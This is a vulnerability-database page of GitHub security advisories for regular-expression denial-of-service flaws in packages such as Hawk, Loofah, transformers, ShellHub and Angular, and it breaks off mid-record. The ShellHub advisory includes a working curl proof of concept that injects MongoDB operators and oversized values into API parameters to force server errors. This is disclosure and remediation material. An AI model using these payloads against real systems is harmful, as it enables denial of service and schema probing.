Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

725 vulnerabilities reference this CWE, most recent first.

GHSA-44PW-H2CW-W3VQ

Vulnerability from github – Published: 2022-05-23 20:18 – Updated: 2022-05-23 20:18
VLAI
Summary
Uncontrolled Resource Consumption in Hawk
Details

Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse Host HTTP header (Hawk.utils.parseHost()), which was subject to regular expression DoS attack - meaning each added character in the attacker's input increases the computation time exponentially. parseHost() was patched in 9.0.1 to use built-in URL class to parse hostname instead.Hawk.authenticate() accepts options argument. If that contains host and port, those would be used instead of a call to utils.parseHost().

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hawk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-23T20:18:14Z",
    "nvd_published_at": "2022-05-05T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse `Host` HTTP header (`Hawk.utils.parseHost()`), which was subject to regular expression DoS attack - meaning each added character in the attacker\u0027s input increases the computation time exponentially. `parseHost()` was patched in `9.0.1` to use built-in `URL` class to parse hostname instead.`Hawk.authenticate()` accepts `options` argument. If that contains `host` and `port`, those would be used instead of a call to `utils.parseHost()`.",
  "id": "GHSA-44pw-h2cw-w3vq",
  "modified": "2022-05-23T20:18:14Z",
  "published": "2022-05-23T20:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/hawk/security/advisories/GHSA-44pw-h2cw-w3vq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/hawk/pull/286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/hawk/commit/d10d72ca82db967f6c5fcf866ff78e3ca25ce1ab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/hawk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in Hawk"
}

GHSA-455V-W7R9-3VV9

Vulnerability from github – Published: 2025-09-09 20:44 – Updated: 2025-09-25 21:44
VLAI
Summary
Cattown is Vulnerable to Uncontrolled Resource Consumption through Inefficient Regular Expression Complexity
Details

Overview

A security review of the Cattown identified multiple weaknesses that could potentially impact its stability and security.

Affected Versions

  • All versions below 1.0.2

Description of Vulnerabilities

  1. CWE-1333: Inefficient Regular Expression Complexity The package used regular expressions with inefficient, potentially exponential worst-case complexity. This can cause excessive CPU usage due to excessive backtracking on crafted inputs, potentially leading to denial of service.
  2. CWE-400: Uncontrolled Resource Consumption (Resource Exhaustion) The package was vulnerable to resource exhaustion, where processing malicious inputs could cause high CPU or memory usage, potentially leading to denial of service.

Impact

  • Trigger excessive CPU consumption leading to denial of service
  • Cause resource exhaustion affecting service availability
  • Bypass protection mechanisms causing unexpected or insecure behavior

Resolution

These vulnerabilities have been fixed in version 1.0.2 of the Cattown. Users are strongly encouraged to upgrade to this version to mitigate the risks.

Recommendations

  • Upgrade to Cattown version 1.0.2 or later as soon as possible.
  • Review and restrict input sources if untrusted inputs are processed.

Acknowledgments

The issues were proactively identified through CodeQL static analysis.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "cattown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-09T20:44:25Z",
    "nvd_published_at": "2025-09-08T22:15:34Z",
    "severity": "HIGH"
  },
  "details": "### Overview\nA security review of the Cattown identified multiple weaknesses that could potentially impact its stability and security.\n\n### Affected Versions\n- All versions below 1.0.2\n\n### Description of Vulnerabilities\n1. CWE-1333: Inefficient Regular Expression Complexity\nThe package used regular expressions with inefficient, potentially exponential worst-case complexity. This can cause excessive CPU usage due to excessive backtracking on crafted inputs, potentially leading to denial of service.\n2. CWE-400: Uncontrolled Resource Consumption (Resource Exhaustion)\nThe package was vulnerable to resource exhaustion, where processing malicious inputs could cause high CPU or memory usage, potentially leading to denial of service.\n\n### Impact\n- Trigger excessive CPU consumption leading to denial of service\n- Cause resource exhaustion affecting service availability\n- Bypass protection mechanisms causing unexpected or insecure behavior\n\n### Resolution\nThese vulnerabilities have been fixed in version 1.0.2 of the Cattown. Users are strongly encouraged to upgrade to this version to mitigate the risks.\n\n### Recommendations\n- Upgrade to Cattown version 1.0.2 or later as soon as possible.\n- Review and restrict input sources if untrusted inputs are processed.\n\n### Acknowledgments\nThe issues were proactively identified through CodeQL static analysis.",
  "id": "GHSA-455v-w7r9-3vv9",
  "modified": "2025-09-25T21:44:20Z",
  "published": "2025-09-09T20:44:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/IEatUranium238/Cattown/security/advisories/GHSA-455v-w7r9-3vv9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58451"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IEatUranium238/Cattown/commit/70c2a28fb7dc520cfb7e401e0e141bff3dd26ead"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/IEatUranium238/Cattown"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IEatUranium238/Cattown/releases/tag/security"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/cattown"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Cattown is Vulnerable to Uncontrolled Resource Consumption through Inefficient Regular Expression Complexity"
}

GHSA-468Q-V4JJ-485H

Vulnerability from github – Published: 2021-09-20 20:09 – Updated: 2021-09-20 20:00
VLAI
Summary
Inefficient Regular Expression Complexity in taro
Details

taro is vulnerable to Inefficient Regular Expression Complexity

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tarojs/helper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-20T20:00:02Z",
    "nvd_published_at": "2021-09-17T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "taro is vulnerable to Inefficient Regular Expression Complexity",
  "id": "GHSA-468q-v4jj-485h",
  "modified": "2021-09-20T20:00:02Z",
  "published": "2021-09-20T20:09:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3804"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nervjs/taro/commit/acadb6c826ba57f2030a626f1de4f7b4608fcdb5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nervjs/taro"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/0ebe85e6-cc85-42b8-957e-18d8df277414"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Inefficient Regular Expression Complexity in taro"
}

GHSA-47R2-V3X6-WFF9

Vulnerability from github – Published: 2026-05-06 23:28 – Updated: 2026-05-14 20:43
VLAI
Summary
ShellHub has crash-DoS via field injection in filter and sort-by parameters
Details

Summary

The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

  1. The name field of each filter property in the base64-encoded filter query parameter.
  2. The sort_by query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity

CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions

ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 — Filter field name

api/store/mongo/query-options.go:140:

go conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 — Sort-by field

Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation

fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

go func fromContains(value interface{}) (bson.M, error) { switch value.(type) { case string: return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

```bash TOKEN=

# Helper: base64-encode a filter payload encode_filter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" }

# --- Vector 1: filter field injection ---

# Baseline: legitimate filter -> 200 F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 1a: Mongo operator as field name F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1b: nested object as value F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1c: pipeline-computed field as filter name F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Vector 2: sort-by injection ---

# Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2b: path containing $ curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 ```

Confirmed field values that trigger 500: - Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a . - Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings

Observed response characteristics: HTTP/1.1 500 Internal Server Error Content-Length: 0 X-Request-Id: <id> ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact

  • Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
  • Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
  • Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
  • Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

  1. Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.

  2. Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:

    • start with $
    • contain $ after a .
    • contain characters outside [A-Za-z0-9_.]
    • exceed a reasonable length (e.g., 64 characters)
  3. Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).

  4. Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.

  5. Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/shellhub-io/shellhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-20",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:28:05Z",
    "nvd_published_at": "2026-05-13T22:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n  1. The `name` field of each filter property in the base64-encoded `filter`\n     query parameter.\n  2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 \u2014 Filter field name\n  `api/store/mongo/query-options.go:140`:\n\n  ```go\n  conditions = append(conditions, bson.M{param.Name: property})\n  ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be  injected.\n\n### Vector 2 \u2014 Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller\u0027s tenant and potential ReDoS amplification on large datasets.\n\n  ```go\n  func fromContains(value interface{}) (bson.M, error) {\n      switch value.(type) {\n      case string:\n          return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n  ```\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  TOKEN=\u003cvalid-user-jwt\u003e\n\n  # Helper: base64-encode a filter payload\n  encode_filter() {\n    python3 -c \u0027import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())\u0027 \"$1\"\n  }\n\n  # --- Vector 1: filter field injection ---\n\n  # Baseline: legitimate filter -\u003e 200\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 1a: Mongo operator as field name\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1b: nested object as value\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1c: pipeline-computed field as filter name\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Vector 2: sort-by injection ---\n\n  # Baseline: legitimate sort -\u003e 200\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 2a: Mongo operator as sort field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2b: path containing $\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2c: oversized sort field (no length validation)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c \u0027print(\"A\"*5000)\u0027)\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2d: non-indexable internal field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Repeat to demonstrate no rate limiting ---\n  for i in $(seq 1 20); do\n    curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n      -H \"Authorization: Bearer $TOKEN\"\n  done\n  # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n  ```\n\n  **Confirmed field values that trigger 500:**\n  - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n  - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n  **Observed response characteristics:**\n  ```\n  HTTP/1.1 500 Internal Server Error\n  Content-Length: 0\n  X-Request-Id: \u003cid\u003e    \u2190 logged as error in backend\n  ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n  - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n  - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n  - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n  - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n  1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n  2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n     - start with `$`\n     - contain `$` after a `.`\n     - contain characters outside `[A-Za-z0-9_.]`\n     - exceed a reasonable length (e.g., 64 characters)\n\n  3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n  4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`,  wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n  5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.",
  "id": "GHSA-47r2-v3x6-wff9",
  "modified": "2026-05-14T20:43:23Z",
  "published": "2026-05-06T23:28:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44425"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shellhub-io/shellhub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShellHub has crash-DoS via field injection in filter and sort-by parameters"
}

GHSA-486F-HJJ9-9VHH

Vulnerability from github – Published: 2022-12-13 17:36 – Updated: 2025-11-04 16:40
VLAI
Summary
Inefficient Regular Expression Complexity in Loofah
Details

Summary

Loofah < 2.19.1 contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.

Mitigation

Upgrade to Loofah >= 2.19.1.

Severity

The Loofah maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

Credit

This vulnerability was responsibly reported by @ooooooo-q (https://github.com/ooooooo-q).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "loofah"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-13T17:36:28Z",
    "nvd_published_at": "2022-12-14T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nLoofah `\u003c 2.19.1` contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.\n\n\n## Mitigation\n\nUpgrade to Loofah `\u003e= 2.19.1`.\n\n\n## Severity\n\nThe Loofah maintainers have evaluated this as [High Severity 7.5 (CVSS3.1)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\n\n## References\n\n- [CWE - CWE-1333: Inefficient Regular Expression Complexity (4.9)](https://cwe.mitre.org/data/definitions/1333.html)\n- https://hackerone.com/reports/1684163\n\n\n## Credit\n\nThis vulnerability was responsibly reported by @ooooooo-q (https://github.com/ooooooo-q).",
  "id": "GHSA-486f-hjj9-9vhh",
  "modified": "2025-11-04T16:40:28Z",
  "published": "2022-12-13T17:36:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/security/advisories/GHSA-486f-hjj9-9vhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23514"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flavorjones/loofah/commit/a6e0a1ab90675a17b1b2be189129d94139e4b143"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1684163"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flavorjones/loofah"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/CVE-2022-23514.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/09/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00044.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Inefficient Regular Expression Complexity in Loofah"
}

GHSA-489J-G2VX-39WF

Vulnerability from github – Published: 2025-07-07 12:30 – Updated: 2025-08-04 15:29
VLAI
Summary
Transformers vulnerable to ReDoS attack through its SETTING_RE variable
Details

A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the huggingface/transformers repository, specifically in version 4.49.0. The vulnerability is due to inefficient regular expression complexity in the SETTING_RE variable within the transformers/commands/chat.py file. The regex contains repetition groups and non-optimized quantifiers, leading to exponential backtracking when processing 'almost matching' payloads. This can degrade application performance and potentially result in a denial-of-service (DoS) when handling specially crafted input strings. The issue is fixed in version 4.51.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "transformers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.49.0"
            },
            {
              "fixed": "4.51.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-07T23:44:56Z",
    "nvd_published_at": "2025-07-07T10:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the huggingface/transformers repository, specifically in version 4.49.0. The vulnerability is due to inefficient regular expression complexity in the `SETTING_RE` variable within the `transformers/commands/chat.py` file. The regex contains repetition groups and non-optimized quantifiers, leading to exponential backtracking when processing \u0027almost matching\u0027 payloads. This can degrade application performance and potentially result in a denial-of-service (DoS) when handling specially crafted input strings. The issue is fixed in version 4.51.0.",
  "id": "GHSA-489j-g2vx-39wf",
  "modified": "2025-08-04T15:29:18Z",
  "published": "2025-07-07T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/0720e206c6ba28887e4d60ef60a6a089f6c1cc76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/transformers/commit/126abe3461762e5fc180e7e614391d1b4ab051ca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/huggingface/transformers"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ecf5ccc4-39e7-4fb3-b547-14a41d31a184"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Transformers vulnerable to ReDoS attack through its SETTING_RE variable"
}

GHSA-48R7-HPM6-GFXM

Vulnerability from github – Published: 2026-06-15 17:24 – Updated: 2026-07-15 22:04
VLAI
Summary
@angular/common: Denial of Service (DoS) via OOM in Date Formatting (formatDate)
Details

A Denial of Service (DoS) vulnerability exists in the @angular/common package of the Angular framework. The formatDate function, which is also utilized by the standard Angular DatePipe, does not properly limit or validate the length of the format parameter.

When parsing a maliciously crafted, excessively long date format string (e.g., a repeating pattern or very large string), the internal parser splits the string iteratively using a regular expression loop. This results in uncontrolled resource consumption (high CPU utilization and excessive memory allocations), leading to a Denial of Service (DoS).

Impact

1. Server-Side Rendering (SSR)

In Angular applications that leverage Server-Side Rendering, an attacker can supply a malicious payload with an excessively long date format string. Processing this on the server causes high CPU usage and triggers a JavaScript heap out of memory crash, rendering the application unavailable to all users.

2. Client-Side Rendering (CSR)

In standard client-side applications, executing the vulnerable function with an excessively long format string blocks the browser's main thread, causing the browser tab to freeze and become completely unresponsive.

Patched Versions

  • 22.0.1
  • 21.2.17
  • 20.3.25

Attack Preconditions

For this vulnerability to be exploitable, both of the following conditions must be met: 1. Vulnerable Component Usage: The application must format dates using the formatDate utility or the DatePipe. 2. Attacker-Controlled Parameter: The date format string passed to these utilities must be customizable or directly controlled by untrusted user input (e.g., parsed from query parameters, user preferences, or API responses).

If the date format is hardcoded (e.g., 'mediumDate', 'shortTime', or static strings) or properly validated to be within a reasonable length limit, the application is not vulnerable.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "22.0.0-next.0"
            },
            {
              "fixed": "22.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/common"
      },
      "ranges": [
        {
          "events": [
            {
